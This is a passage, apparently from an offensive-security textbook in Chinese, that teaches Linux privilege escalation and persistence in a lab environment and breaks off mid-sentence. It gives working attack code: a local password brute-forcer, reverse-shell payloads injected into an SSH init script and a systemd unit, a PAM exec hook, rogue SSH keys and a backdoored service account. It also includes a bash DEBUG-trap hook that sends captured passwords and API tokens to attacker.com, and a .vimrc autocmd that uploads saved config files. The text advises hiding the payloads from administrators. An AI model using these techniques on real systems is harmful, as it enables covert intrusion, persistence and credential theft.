在后台,漏洞建议脚本包含一个数据库,截至目前已有超过 70 个内核漏洞。一些例子包括 OverlayFS 漏洞(CVE-2015-8660)和 eBPF 漏洞(CVE-2017-16695)。
攻击相邻账户
当你作为非 root 用户登陆到一个被攻破的主机时,你可能会想通过攻击其他系统账户来提升权限。你甚至可能通过攻破一个非 root 账户来获取 root 访问权限,前提是该账户拥有某些特权,比如无限制的 sudo 权限或家目录下的某个文件包含凭证。
我们可以尝试使用 bash 来暴力破解系统账户。首先,让我们通过执行 grep 搜索 /bin/bash 来识别具有活动 shell 的账户(不过请记住,也可能有其他的 shell)。在 p-jumpbox-01(172.16.10.13)上执行以下命令:
$ **grep "/bin/bash" /etc/passwd | grep -v "backup:x"**
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
jmartinez:x:1001:1001::/home/jmartinez:/bin/bash
dbrown:x:1002:1002::/home/dbrown:/bin/bash
ogarcia:x:1003:1003::/home/ogarcia:/bin/bash
arodriguez:x:1004:1004::/home/arodriguez:/bin/bash
为了举例说明,我们将攻击账户 jmartinez。列表 9-5 尝试暴力破解该账户的密码。
local_account _bf.sh
#!/bin/bash
❶ USER="jmartinez"
❷ PASSWORD_FILE="passwords.txt"
if [[! -f "${PASSWORD_FILE}"]]; then
echo "password file does not exist."
exit 1
fi
❸ while read -r password; do
echo "Attempting password: ${password} against ${USER}..."
if echo "${password}" | timeout 0.2 su - ${USER} \
-c 'whoami' | grep -q "${USER}"; then
echo
echo "SUCCESS! The password for ${USER} is ${password}"
echo "Use su - ${USER} and provide the password to switch"
exit 0
fi
done < "${PASSWORD_FILE}"
echo "Unable to compromise ${USER}."
exit 1
列表 9-5:暴力破解相邻账户
在这个脚本中,我们设置了两个变量:USER,表示要攻击的账户名 ❶,以及 PASSWORD_FILE,一个包含密码列表的文件 ❷。
接下来,我们通过使用一个 while 循环 ❸ 来读取 PASSWORD_FILE 的内容,遍历每一个存在的密码。我们将每个密码输出到标准输出流,并将其通过管道传输给 su 命令。然后,我们使用 su - ${USER} -c 'whoami' 来尝试切换到该用户并在成功后执行 whoami 命令。
如果 whoami 命令在输出中返回我们正在暴力破解的用户名(在这个例子中是 jmartinez),那么就表示我们成功地猜测出了密码并以该用户身份执行了命令。我们可以使用 grep -q "${USER}" 来验证是否返回了这个字符串。
让我们进行测试。通过你目前学到的方法,将脚本下载并保存到 p-jumpbox-01 机器上。
接下来,向 passwords.txt 文件中写入一些密码。确保该文件与 local_account_bf.sh 脚本位于同一目录下:
$ **echo test >> passwords.txt**
$ **echo test123 >> passwords.txt**
$ **echo password123 >> passwords.txt**
$ **echo admin >> passwords.txt**
现在运行脚本并观察其输出:
$ **bash local_account_bf.sh**
Attempting password: test against jmartinez...
Password: Attempting password: test123 against jmartinez...
Password: Attempting password: password123 against jmartinez...
Password:
**SUCCESS! The password for jmartinez is password123**
Use su - jmartinez and provide the password to switch
密码被发现是password123!尝试切换到用户并提供密码:
$ **su — jmartinez**
接下来,你应该能够看到该用户在任何地方都有 sudo 权限,运行sudo -l来验证:
$ **sudo -l**
Matching Defaults entries for jmartinez on p-jumpbox-01:
`--snip--`
User jmartinez may run the following commands on p-jumpbox-01:
** (ALL : ALL) ALL**
这应该能让我们访问 root 账户。为了确认我们能够切换到 root 用户,请键入以下命令:
$ **sudo su**
# **whoami**
root
恭喜!你成功攻破了这台机器。
利用 GTFOBins 进行特权提升
我们可以在基于 Linux 的机器上使用常见的工具执行各种恶意操作。GTFOBins 项目(gtfobins.github.io)突出了许多这样的工具,特别是如果攻击者具有 SetUID 或 sudo 权限,他们可以利用这些工具做什么。如图 9-3 所示,一些工具允许任意文件读取和写入、文件下载和上传、反向 Shell 等。

图 9-3:GTFOBins 首页
当你检查文件系统中的 sudo 访问权限或某些工具或二进制文件上的 SetUID 权限时,我们强烈建议你搜索 GTFOBins 数据库,以了解可能的攻击机会。
练习 18:将 GTFOBins 漏洞映射到本地二进制文件
你能自动化搜索 GTFOBins 仓库吗?在这个练习中,你将使用 bash 将目标系统上可用的工具列表映射到 GTFOBins 数据库中的工具。GTFOBins 项目托管在 GitHub 上,每个二进制文件都有自己的 Markdown 文档文件(扩展名为.md),因此你需要让你的脚本执行以下操作:
1. 搜索系统和用户二进制文件(在诸如/bin、/usr/bin和/usr/sbin等目录中)。为了这个练习,搜索应关注 SetUID 文件。
2. 使用过滤命令提取仅包含文件名的结果,而不包含路径。
3. 对 GTFOBins 数据库执行 HTTP GET 请求,使用文件名搜索正确的文档文件。
4. 将结果打印到控制台或文件中。
你的脚本应该能够输出它在系统上找到的所有二进制文件的利用方法,这些二进制文件在数据库中有匹配项。你可以在这里查看 wget 二进制文件的 GTFOBins 页面示例: raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/wget.md。
如果你遇到困难,可以查看书本 GitHub 仓库中的示例解决方案,gtfobins_search.sh。
自动化特权提升
如你所见,特权提升既需要时间也需要技巧。幸运的是,有一些脚本旨在自动化这一繁琐的任务,即通过系统目录筛选,寻找配置错误或未加固的组件。
LinEnum
我们在第八章中使用过 LinEnum 来收集信息。如果使用 -t(彻底)标志运行检查,它应返回一些可能帮助你提升权限的详细信息,例如属于当前用户的文件、隐藏文件、私钥以及 Git 凭据文件。
但该脚本的输出可能会很冗长,因为它会打印每一个发现。-k(关键字)选项会在系统范围内搜索你选择的关键字:
$ **./LinEnum.sh -t -k "P@ssw0rd"**
该命令会在当前用户可访问的文件中搜索字符串 P@ssw0rd。
unix-privesc-check
尽管稍显陈旧,unix-privesc-check 仍然是一个独立的 Shell 脚本,可以在系统中搜索本地配置错误。从你的 Kali 机器(文件应位于 /home/kali/tools/unix-privesc-check 或 /usr/bin/unix-privesc-check)复制 unix-privesc-check 脚本到任何被攻破的主机上,然后使用标准选项运行扫描:
$ **unix-privesc-check standard**
标准选项经过优化,速度较快,会迅速枚举系统中的配置错误,但提供的枚举覆盖较少。详细选项则更有可能捕捉到主机上第三方软件中的配置错误:
$ **unix-privesc-check detailed**
你应该看到类似 LinEnum 输出的内容:
`--snip--`
###########################################
Checking cron job programs aren't writable (/var/spool/cron/crontabs)
############################################
No user crontabs found in /var/spool/cron/crontabs. Skipping checks.
############################################
Checking cron job programs aren't writable (/var/spool/cron/tabs)
############################################
Directory /var/spool/cron/tabs is not present. Skipping checks.
############################################
Checking inetd programs aren't writable
############################################
File /etc/inetd.conf not present. Skipping checks.
`--snip--`
还有一些其他你应该熟悉的权限提升自动化工具。
MimiPenguin
MimiPenguin (github.com/huntergregal/mimipenguin) 是一个扫描工具,用于查找已登录用户的凭证,这些用户连接到运行桌面环境(如 GNOME 桌面环境)和显示管理器(如 LightDM 或 GNOME Display Manager)的 Linux 系统。如果你有 Windows 渗透测试的背景,可能对 Mimikatz 熟悉,它是一个流行的工具,用于提取存储在内存中的凭证。MimiPenguin 是为在 Linux 世界中执行等效任务而创建的。
Linuxprivchecker
由 Mike Czumak (T_v3rn1x) 开发的基于 Python 的工具 Linuxprivchecker (github.com/sleventyeleven/linuxprivchecker/tree/master),执行本地明文密码搜索,寻找文本编辑器等实用工具中的 Shell 逃逸机会,基于正在运行的内核版本提供内核漏洞建议,搜索文件和目录权限配置错误等。
Bashark
Bashark (github.com/redcode-labs/Bashark/tree/master) 是一个由 wintrmvte 开发的 Shell 脚本。它提供一个终端用户界面,带有帮助函数,适用于各种攻击性安全任务,如用户枚举、端口扫描、反向 Shell 生成和主机枚举。其目的是在无需编写脚本的情况下,主要使用 Linux 系统中常见的工具,简化常见任务的执行。
总结
在本章中,你学习了权限提升的基本知识,探讨了 Linux 系统中基本和高级的文件权限特性,然后检查了本地系统中的文件和目录配置错误。你还浏览了系统中常见的存储凭证的位置,并检查了可能导致权限提升漏洞的机制配置,如 sudo、PATH 和 cron 作业。最后,你对其他系统账户进行了本地暴力破解攻击。
第十章:10 持久性

通过在被攻破的网络和机器上获得持久性,我们可以使得我们的访问免受系统重启、网络连接丧失,甚至凭据轮换等环境变化的影响。
获取持久性的方式有很多种。例如,你可以在一个被攻破的服务器上植入代码,以重新建立你的访问。或者,你可以在 GitHub 上的配置文件中发现虚拟私人网络凭证,某人不小心将其推送到公共仓库中,从而远程连接到网络。
Bash 是一种有用的工具,可以帮助获得持久性,在本章中,我们将用它实现几种持久性技巧:修改启动系统服务并与认证模块交互的脚本,挂钩执行的命令来收集凭据,打包和分发恶意脚本,劫持系统实用工具等。
持久访问的敌人
许多因素可能会干扰攻击者建立持久访问的能力,其中一些因素可能并不完全在其直接控制之内。以下是一些可能成为障碍并妨碍访问持久性的环境类型和安全实践:
短暂环境
短生命周期的环境,如运行容器的环境,可能使得持久性变得具有挑战性。容器编排平台和系统管理员可能会频繁地启动和关闭容器。例如,一个系统在一个慢节奏的周末可能会自动缩减运行中的容器数量,从而减少系统负载。如果我们曾访问过其中一个容器,就有可能丧失访问权限。
成熟的安全实践
实施成熟安全实践的组织,在被攻破和保持访问控制方面,通常会是一个更难的目标。一些组织每天都会检查其系统是否有异常,强化基础设施,扫描环境中的潜在入侵尝试,并进行威胁狩猎。此外,许多组织还设有专门的红队来测试安全控制的有效性。这些安全措施使得长期保持访问变得更加困难。
网络和终端安全控制
在整个组织中实施精细化的网络和终端安全控制措施,会使得持久化访问变得更加困难。一个成熟的蓝队会制定深度防御的网络策略,以应对任何控制失败的情况。
资产生命周期管理和库存卫生
尽管这种情况不常见,但资产退役可能会触发持久访问的丧失。同样,健全的补丁管理可能会修复作为攻击工具的一部分所使用的漏洞软件。理想情况下,你应该找到控制点,额外的资产来保持访问,而不是仅仅依赖一个远程访问通道。
修改服务配置
维持系统访问的一种方式是创建或修改用于启动系统服务的脚本。为了实现这一点,你可以利用 System V 和 systemd,它们是管理服务并控制进程启动顺序的系统机制。System V 是这两种机制中较老的,但你可能会在渗透测试中遇到这两种工具。让我们在持久性上下文中学习这两种机制。
System V
System V 的/etc/init.d目录包含名为init 脚本的 shell 脚本,负责启动服务,无论是网络服务如 SSH,调度服务如 Cron,还是负责设置服务器硬件时钟的服务。但我们也可以通过使用 init 脚本编写自定义恶意逻辑。
注意
向/etc 目录下的 shell 脚本中引入自定义代码通常需要提升权限。此技巧假设你有目标目录的写权限。
运行 ls 命令列出实验室中任意一台机器上/etc/init.d目录中的文件。以下是p-jumpbox-01(172.16.10.13)上的输出:
# **root@p-jumpbox-01:/# ls -l /etc/init.d/**
total 24
-rwxr-xr-x 1 root root 1071 Feb 5 atd
-rwxr-xr-x 1 root root 3062 Nov 14 cron
-rwxr-xr-x 1 root root 3152 Jan 27 dbus
-rwxr-xr-x 1 root root 1748 Nov 28 hwclock.sh
-rwxr-xr-x 1 root root 959 Feb 25 procps
-rwxr-xr-x 1 root root 4060 May 26 14:44 ssh
目录中的每个文件都影响特定服务的配置。例如,查看ssh脚本(清单 10-1)。
# **cat /etc/init.d/ssh**
#! /bin/sh
`--snip--`
case "$1" in
start)
check_privsep_dir
check_for_no_start
check_dev_null
log_daemon_msg "Starting OpenBSD Secure Shell server" "sshd" || true
if start-stop-daemon --start --quiet --oknodo --chuid 0:0 --pidfile /run/sshd.pid \
--exec /usr/sbin/sshd -- $SSHD_OPTS; then
log_end_msg 0 || true
else
log_end_msg 1 || true
fi
;;
stop)
log_daemon_msg "Stopping OpenBSD Secure Shell server" "sshd" || true
if start-stop-daemon --stop --quiet --oknodo --pidfile /run/sshd.pid \
--exec /usr/sbin/sshd; then
log_end_msg 0 || true
else
log_end_msg 1 || true
fi
;;
reload|force-reload)
check_for_no_start
check_config
log_daemon_msg "Reloading OpenBSD Secure Shell server's configuration" "sshd" || true
if start-stop-daemon --stop --signal 1 --quiet --oknodo --pidfile /run/sshd.pid \
--exec /usr/sbin/sshd; then
log_end_msg 0 || true
else
log_end_msg 1 || true
fi
;;
`--snip--`
清单 10-1:SSH 服务的 init 脚本
如你所见,该脚本的核心使用 case 语句根据一些输入来决定执行哪一组命令。例如,启动、停止和重新加载 SSH 服务时,我们可以通过以下方式调用该脚本:
# **/etc/init.d/ssh start**
# **/etc/init.d/ssh stop**
# **/etc/init.d/ssh reload**
# **/etc/init.d/ssh force-reload**
系统配置为在启动时启动 SSH,如果我们能将自定义 bash 逻辑插入脚本中,我们的代码将在每次调用该脚本时执行。因此,如果我们能够从 init 脚本创建反向 shell,我们可以在完整重启后将服务器重新连接到我们的监听器,只要网络可用。
让我们试试这个。通过将反向 shell 有效载荷插入/etc/init.d/ssh文件,如清单 10-2 所示。
`--snip--`
start)
check_privsep_dir
check_for_no_start
check_dev_null
log_daemon_msg "Starting OpenBSD Secure Shell server" "sshd" || true
if start-stop-daemon --start --quiet --oknodo --chuid 0:0 --pidfile
/run/sshd.pid --exec /usr/sbin/sshd -- $SSHD_OPTS; then
log_end_msg 0 || true
else
log_end_msg 1 || true
fi
**ncat 172.16.10.1 4444 -e /bin/bash 2> /dev/null &**
;;
`--snip--`
清单 10-2:注入到/etc/init.d/ssh 中的反向 shell 有效载荷
接下来,启动监听器以在 Kali 上接收反向 shell。你可以使用 pwncat、Ncat、Netcat 或任何你偏好的监听器。
$ **pwncat-cs -l -p 4444**
最后,切换回目标系统并运行服务命令以启动 SSH 服务器守护进程:
# **service ssh start**
你应该看到反向 shell 连接到监听器。
注意,当你引入明显的恶意命令,如反向 shell 有效载荷时,应尽量让这些命令不可见。例如,尝试将监听器的远程 IP 地址拆分成多个变量,使其与脚本的其余部分融合,以免引起任何正在查看该脚本的人的注意。
systemd
systemd 管理units,它们可以表示服务、设备和其他类型的组件。为了实现持久性,我们可以尝试使用 systemd 来注册系统上的一个新服务单元。列表 10-3 展示了一个带有反向 shell 负载的 systemd 服务示例。
❶ [Unit]
Description=RevShell
After=network-online.target
❷ Wants=network-online.target
[Service]
❸ ExecStart=**ncat ATTACKER_IP 4444 -e /bin/bash**
❹ Restart=always
[Install]
WantedBy=multi-user.target
列表 10-3:一个恶意 systemd 服务定义文件示例
此服务定义了以下属性:一个新单位❶,网络可用的要求❷,在服务启动时执行反向 shell 到攻击者机器的指令❸,以及如果进程死掉则重新启动的要求❹。
实验室中的容器不运行 systemd,但如果您想尝试此技术,可以在您的 Kali 机器上使用这些命令。要使用该脚本,请在/etc/system/service目录下创建一个新的服务文件revshell.service。(文件名也是服务名。在真正的攻击中,您可能应该使用更隐秘的名称,以便与环境融合得更好。)然后通过执行 systemctl enable revshell 来启用该服务。
通过 systemctl start revshell 来运行恶意服务。现在,如果机器重新启动,此服务文件应在启动时重新建立连接。
钩入可插拔认证模块
可插拔认证模块(PAMs) 提供了用于低级认证方案的高级 API,并且应用程序可以使用它们来认证用户。例如,您可以采用外部多因素认证提供者,在登录时提示用户输入代码或插入硬件安全令牌,除了使用传统密码。PAM 配置文件存放在/etc/pam.d目录中。
在建立持久性方面,PAM 具有一个有趣的功能:它可以使用pam_exec.so库在认证流程的某些点上调用外部脚本。通过修改特定的配置,我们可以使 PAM 在用户登录系统时调用我们自己的脚本,然后执行任何我们想要的操作。
例如,在/etc/pam.d下,您会找到一个名为common-session的文件。此文件包含所有服务共有的与会话相关的模块。通过向其追加以下行来修改此文件:
session optional pam_exec.so seteuid /usr/local/bin/pam-helper.sh
此行的格式如下:
`type - control - module-path - module-arguments`
类型是 session,控制是可选的,模块路径是pam_exec.so,模块参数设置为 seteuid 和/usr/local/bin/pam-helper.sh。会话类型指的是在用户被允许访问服务之前或之后执行的操作,通常用于诸如日志记录等操作。可选的控制意味着无论此模块成功与否,都不会影响认证或登录流程。模块路径pam_exec.so是我们将用于调用外部程序的库,后跟模块参数 seteuid(设置有效用户 ID)和脚本的完整路径。
一旦保存了 PAM 配置文件,pam_exec.so 将会在有人登录或退出系统时调用您的脚本(例如,通过运行 su - backup 并提供密码)。我们将为练习 19 提供编写适当持久性脚本的指导。
练习 19:编写恶意 pam_exec Bash 脚本
上一节讲解了如何修改系统的 PAM 配置以调用外部脚本 pam-helper.sh。每当用户登录或退出系统时,此脚本将会运行。
构建脚本逻辑以执行您选择的恶意操作。例如,您可以使用 Cron 安排一个持久任务,或者使用 At 安排一个一次性任务,建立与远程机器的反向 shell 连接。
确保将您的脚本保存到 /usr/local/pam-helper.sh 并赋予可执行权限。您可以在 p-jumpbox-01 (172.16.10.13) 上测试此练习,因为您已经有其 root 访问权限。不要忘记设置反向 shell 监听器。
生成 Rogue SSH 密钥
有 SSH 访问权限的用户可以使用其加密密钥而不是密码登录服务器。当我们生成 SSH 密钥对时,必须将公钥追加到名为 authorized_keys 的文件中,该文件位于用户的主目录下。此文件中的任何公钥都被授权对系统进行身份验证,但仅当使用该账户时才有效。
因为可以授权多个密钥进行身份验证,所以使用恶意 SSH 密钥创建账户后门就像向此文件添加另一个公钥那么简单。例如,nostarch 用户的 authorized_keys 文件可能如下所示,假设他们的主目录是 /home/nostarch:
$ **cat /home/nostarch/.ssh/authorized_keys**
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB9Rp0Lol7dmnNxiMSlcWXWp5Ruf4XLwo2fgR7ZD
djMNHIJtbmTXz4WLM34XagYaDFpqsghbE+kYM9HatmK7KY9HDTqC96fX0TW8ky8UChdSvB7oiQjEei
CRuiqWqarPja6S8ko0LjdAe65n59kT2ClFCKP5XlGgkv/zMpLIfQxyrI4LFGun/Pi+Nef0DfNioBdZ
lUAmWeOjHyJ+xdpHMdhJSHGuzNx0KRnzZ83mvhgXZAGcr7Pz1NMGxXhjx2TeQzV7Yek+Z2QY6LMFpQ
e0c8AAvr/bI7+nj0wb27fhM66sOJp+VL+E4vg2t6TaGmrnq5JOG7lbIpXU/BU2KZaSx2E9bDzq5eOi
AQc8j+WE6Y1Y7r/0pbZ5DuQHoowCzS6r9nX9NU0kI4W9mLQ1vx3mgOUu4eEDF579UX4CIj7nju8ebg
wHhBaNdaYfmAz5TYgO4P92oqUNoyEm/eyndghpGWkn1U9yuzzCjiQqxpOV6V6Dw0DAyviHta5pYAjX
CtsYM=
要生成新的 SSH 密钥,请在您的 Kali 机器上运行以下命令:
$ **ssh-keygen -t rsa -C ""**
我们使用 -t(类型)来定义密钥的类型(在本例中为 RSA),并使用 -C(注释)并附空值。如果不使用 -C 标志并提供空值,ssh-keygen 将在密钥的末尾附加计算机的主机名作为注释,这是标识该密钥所属机器的一种方式。按照向导操作,确保在此示例中不设置密码。应该会创建两个文件:id_rsa(私钥)和 id_rsa.pub(公钥)。
您可以以多种方式将公钥添加到 authorized_keys。尝试在已作为 backup 用户登录到 p-jumpbox-01 机器(172.16.10.13)上执行这些步骤。
首先,您可以简单地使用文本编辑器创建或修改 ~/.ssh/authorized_keys 并粘贴公钥内容:
$ **mkdir ~/.ssh && chmod 700 ~/.ssh**
$ **touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys**
要远程添加密钥,您可以使用 SSH 客户端进行身份验证并运行命令。请注意,这将需要您提供已经成功攻破的账户的密码。
$ **cat id_rsa.pub | ssh backup@172.16.10.13 'cat >> .ssh/authorized_keys'**
ssh-copy-id 命令使将公钥复制到服务器变得更加简单。它应该会自动将其写入正确的位置:
$ **ssh-copy-id -i ~/.ssh/id_rsa.pub backup@172.16.10.13**
在提示时,为 backup 用户输入密码。
添加密钥后,请尝试使用私有 RSA 密钥登录服务器:
$ **ssh backup@172.16.10.13 -i ~/.ssh/id_rsa**
你应该注意到,系统没有提示你输入用户账户密码。如果在创建密钥时提供了密码短语,使用该密钥进行身份验证时将需要提供此密码短语。
改用默认系统账户
默认情况下,系统带有除 root 之外的内置账户,如 nobody、sys、sync、bin、games 和 man。我们称这些账户为 服务账户,因为它们用于运行特定任务。将这些任务分配到不同账户中实施最小特权模型,使系统能够在特定用户上下文中运行应用程序。
这些账户不是用于用户登录的,如果你仔细查看任何实验机器(甚至是 Kali)上的 /etc/passwd,你会发现它们通常没有设置 shell 或密码。这些常见的加固措施确保在受到攻击时不能执行系统任务,如作业调度。
但是,如果你已经入侵了一台机器并获得了 root 账户访问权限(或者具有创建或修改用户权限的 sudo 用户),你可以采取以下措施之一来制作一个能够融入环境的后门机制:
-
创建一个看起来类似服务账户的新账户
-
向现有服务账户添加 shell 和密码进行修改
让我们将一个服务账户转换为一个后门账户,以便我们持续访问系统。我们将瞄准 p-jumpbox-01 机器(172.16.10.13),在那里我们拥有 root 访问权限。
我们将给 lp 账户加入后门,通常用于管理进纸服务。您可以在 /etc/passwd 中看到此账户及其默认 shell:
$ **grep lp /etc/passwd**
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
你可以看到,这个账户的 /usr/sbin/nologin shell ;这不允许我们登录。让我们使用 usermod 并传递 -s(shell)参数来修改默认 shell:
# **usermod -s /bin/bash lp**
我们建议通过运行 man usermod 了解更多关于 usermod 命令的信息。接下来,使用 passwd 命令设置密码,并在提示时输入密码:
# **passwd lp**
最后,通过 lp 账户尝试 SSH 登录服务器:
$ **ssh lp@172.16.10.13**
现在,您应该能够通过这个服务账户远程连接到机器上,并且该账户现在应该有一个有效的 shell。如果将来丢失 root 访问权限或者 root 账户被禁用远程登录,您可以将其用作后门账户。
污染 Bash 环境文件
在 第二章 中,我们讨论了像 ~/.bashrc 这样的文件,它们允许我们定义变量、别名和脚本来自定义环境。除了用户家目录中的这些文件之外,还有系统范围的 .bashrc 和 .profile 文件,分别位于 /etc/bash.bashrc 或 /etc/bashrc 和 /etc/profile。
当 bash 作为交互式登录 shell 被调用时,它会在读取用户级环境文件(如 /.bash_profile*、*/bash_login 和 ~/.profile)之前读取 /etc/profile(如果该文件存在)。类似地,当 bash 作为非登录交互式 shell 被调用时,它会在本地文件之前读取全局的 bashrc 文件。
同样,/etc/profile 会查找 /etc/profile.d 目录下的文件。如果存在文件,它将使用 . 命令来加载(或导入)它们。你可以通过运行 cat /etc/profile 来查看这一行为:
$ **cat /etc/profile**
# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).
`--snip--`
❶ if [-d /etc/profile.d]; then
❷ for i in /etc/profile.d/*.sh; do
❸ if [-r $i]; then
❹ . $i
fi
done
unset i
fi
如你所见,一个 if 条件 ❶ 检查 /etc/profile.d 是否是一个目录。接着,一个 for 循环迭代 /etc/profile.d 下所有扩展名为 .sh 的文件 ❷,并使用 -r 检查每个文件是否具有读取权限 ❸。最后,脚本使用 . 命令 ❹ 导入该文件。
如果我们能够将恶意代码写入 /etc/profile 等文件或 /etc/profile.d 等目录中,我们就可以调用在我们控制下运行的自定义代码的 shell。如果你已经侵入了特定的用户帐户,你也可以尝试将恶意代码植入该用户的 shell 环境文件,这可能会导致有趣的结果,并且不需要 root 权限。然而,影响将仅限于该用户。
让我们尝试通过引入自定义代码篡改用户的配置文件,使得用户执行命令后立即运行该代码。以备份用户身份登录 p-jumpbox-01(172.16.10.13),并创建一个 .profile 文件:
$ **touch .profile**
接下来,将 示例 10-4 中的脚本写入文件并保存。
#!/bin/bash
❶ hook() {
echo "You executed ${BASH_COMMAND}"
}
❷ trap 'hook' DEBUG
示例 10-4:操作系统命令钩子
首先,我们创建一个名为 hook 的函数 ❶。这个函数只做一件事,即打印 You executed ${BASH_COMMAND} 到标准输出,其中 ${BASH_COMMAND} 是一个环境变量,保存着即将执行的命令的名称。
在 ❷ 处,我们使用 trap 命令,后面跟着函数名(hook())和 DEBUG 关键字,这是一种 trap 接受的 信号规范(sigspec)。信号规范可以是以下值之一:EXIT、DEBUG、RETURN 或 ERR;DEBUG 确保我们捕获每个执行的命令。(在练习 20 中,我们将使用这个信号规范来窃取敏感数据。)
最后,这是源文件:
$ **source .profile**
现在运行一些命令并观察输出。在以下示例中,我们运行了 id 和 ps -ef:
backup@p-jumpbox-01:~$ **id**
You executed id
uid=34(backup) gid=34(backup) groups=34(backup)
backup@p-jumpbox-01:~$ **ps -ef**
You executed ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 01:31 ? 00:00:00 /bin/sh -c service ssh restart && service cron restar...
root 16 1 0 01:31 ? 00:00:00 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
如你所见,我们的主动钩子打印了在该命令输出之前执行的命令。
练习 20:通过篡改配置文件拦截数据
在本练习中,你有一个明确的恶意目标:编写一个脚本,捕捉任何在被攻破的系统上执行的可能包含敏感信息的命令,然后将其传输到远程服务器。如果你不确定哪些命令可能值得拦截,我们有几个例子可以参考:
-
包含 API 密钥参数的网页请求
-
传递给常用工具的命令行密码,例如数据库管理工具(如 MySQL 或 Redis)
-
诸如电子邮件或信用卡号等 PII 通过命令行传递
此外,以下是一些高级提示,帮助你开始:
-
运行网络搜索以查找与你感兴趣的敏感数据匹配的字符串模式。例如,寻找可以接受密码甚至信用卡号的命令。
-
确定你要拦截的特定命令;避免拦截每个命令,以使你的数据收集更精确。
-
设计你的脚本,以便在发送数据到网络时安全失败。如果在传输过程中发生错误,请捕获错误以防信息泄露给不知情的用户。
第 10-5 节 提供了一个解决方案,针对使用 curl 或 mysql 命令传输凭证的情况。
profile_hook.sh
#!/bin/bash
hook() {
❶ case "${BASH_COMMAND}" in
❷ mysql*)
❸ if echo "${BASH_COMMAND}" | grep -- "-p\|--password"; then
curl https://attacker.com \
-H "Content-Type:application/json" \
-d "{\"command\":\"${BASH_COMMAND}\"}" \
--max-time 3 \
--connect-timeout 3 \
-s &> /dev/null
fi
;;
❹ curl*)
if echo "${BASH_COMMAND}" | grep -ie "token" \
-ie "apikey" \
-ie "api_token" \
-ie "bearer" \
❺ -ie "authorization"; then
curl https://attacker.com \
-H "Content-Type:application/json" \
-d "{\"command\":\"${BASH_COMMAND}\"}" \
--max-time 3 \
--connect-timeout 3 \
-s &> /dev/null
fi
;;
esac
}
❻ trap 'hook' DEBUG
第 10-5 节:截取命令和窃取凭证
我们创建一个名为 hook() 的函数,其中使用一个 case 语句 ❶。该语句将尝试将 BASH_COMMAND 变量与两个模式进行匹配:mysql* ❷ 和 curl* ❹。这些模式将匹配任何以这些字符串开头的内容。这应该能够识别使用 mysql 命令连接数据库和使用 curl 命令进行 HTTP 请求的情况。
接下来,如果命令涉及调用 mysql 客户端,我们将检查命令行是否包含密码,使用 -p 或 --password 参数 ❸。在这种情况下,密码将属于数据库。如果找到匹配项,我们将向 https://attacker.com 发送一个 HTTP POST 请求,其中包含原始命令的 JSON 负载。
在 ❺ 处,我们使用 curl 进行类似的操作。我们搜索诸如 token、apikey、api_token、bearer 或 authorization 等字符串,以捕获命令行传递的任何 API 密钥。这些凭证可能属于内部 Web 面板或某种管理界面。搜索时不区分大小写(-i)。如果找到这样的模式,我们将发送一个请求,其中包含命令和凭证,到攻击者的网站上,通过 HTTP POST 方法。
最后,我们使用 trap 来使用 DEBUG sigspec 类型 ❻ 捕获 hook() 函数。
注意
你可以从 github.com/dolevf/Black-Hat-Bash/blob/master/ch10 下载本章的脚本。
凭证窃取
如果你能够保持对用户凭证数据或甚至用户键盘操作的访问,你可以保持对整个系统的访问。例如,如果用户重置他们的密码,并且我们恰好拦截到执行此操作的命令,即使凭证已经被更改,我们也可以保持访问(至少直到有人发现并停用我们的机制或完全清除受感染的系统)。
我们可以通过多种方式捕获凭证信息。一种方法是通过特洛伊木马化命令,例如用恶意二进制文件替换它们,或者通过向其中注入恶意逻辑来破坏它们的执行流程。在本节中,我们将实现一些常见系统管理员工具中的恶意逻辑。我们还将从 bash 历史文件中提取凭证并通过网络发送这些信息。
挂钩文本编辑器
Vim 是一种常见的文本编辑器应用程序,通常可以在服务器上找到。它也是许多开发人员和系统管理员首选的文本编辑应用程序,因此值得单独介绍。
注意
如果你从未使用过 Vim,我们强烈建议你熟悉它。它是一个功能强大的编辑器,拥有许多附加功能,例如宏、脚本和插件系统。
如果你可以访问系统上的一个或多个用户,并且可以修改他们主目录中的配置文件,你可以利用 Vim 的 autocmd 功能,这是一个在特定编辑器事件发生时能够执行某些 shell 命令的自动化系统。我们通过使用 ~/.vimrc 文件来定义 autocmd 操作,Vim 通常会在用户的主目录中搜索该文件。当文本编辑器打开时,它会读取该文件并查找任何特殊的配置和指令。
autocmd 事件可能在文件写入或读取时、文件打开或关闭时,以及编辑器本身打开或关闭时等情况下发生。表 10-1 列出了几个关键的 autocmd 事件。
表 10-1:有趣的 autocmd 事件
| 事件名称 | 描述 |
|---|---|
| ShellCmdPost | 执行完 shell 命令后 |
| BufWritePost | 写入整个缓冲区后 |
| BufWipeout | 在删除缓冲区之前 |
| StdinReadPost | 从 stdin 读取到缓冲区后 |
BufWritePost 事件允许我们在编辑器写入缓冲区中的内容后执行某些操作。这意味着如果用户打开了一个文件并进行了写入操作,autocmd 将执行我们的命令。
让我们利用这种行为。首先,将以下内容写入某个用户主目录下的 ~/.vimrc 文件中。你可以使用实验室中的任何一台被攻破的机器,例如 p-jumpbox-01(172.16.10.13),使用备份或 root 用户:
autocmd BufWritePost *.conf,*.config :silent !timeout 3 curl -m 5 -s
http://172.16.10.1:8080 -o /dev/null --data-binary @<afile> &
让我们分析一下发生了什么。首先,我们使用 autocmd 关键字定义一个 autocmd 指令。接下来,我们指定事件名称 BufWritePost,然后跟随两个文件扩展名,.conf 和 .config。这将确保无论何时写入带有这两个扩展名的文件,命令都会触发。
我们使用:silent来抑制任何命令消息或错误。最后,我们定义一个以!开头的命令,后跟感兴趣的 shell 命令的语法。在这个例子中,我们使用 curl 向 172.16.10.1:8080 发出 HTTP POST 请求,这将运行我们 Kali 机器上的监听器。我们传递-m(最大时间)并设定为 5,以确保整个操作不超过五秒。然后我们传递-s(静默)参数以防止文本输出,并通过使用-o /dev/null将标准输出重定向到/dev/null。我们还传递--data-binary @<afile>来上传文件。autocmd
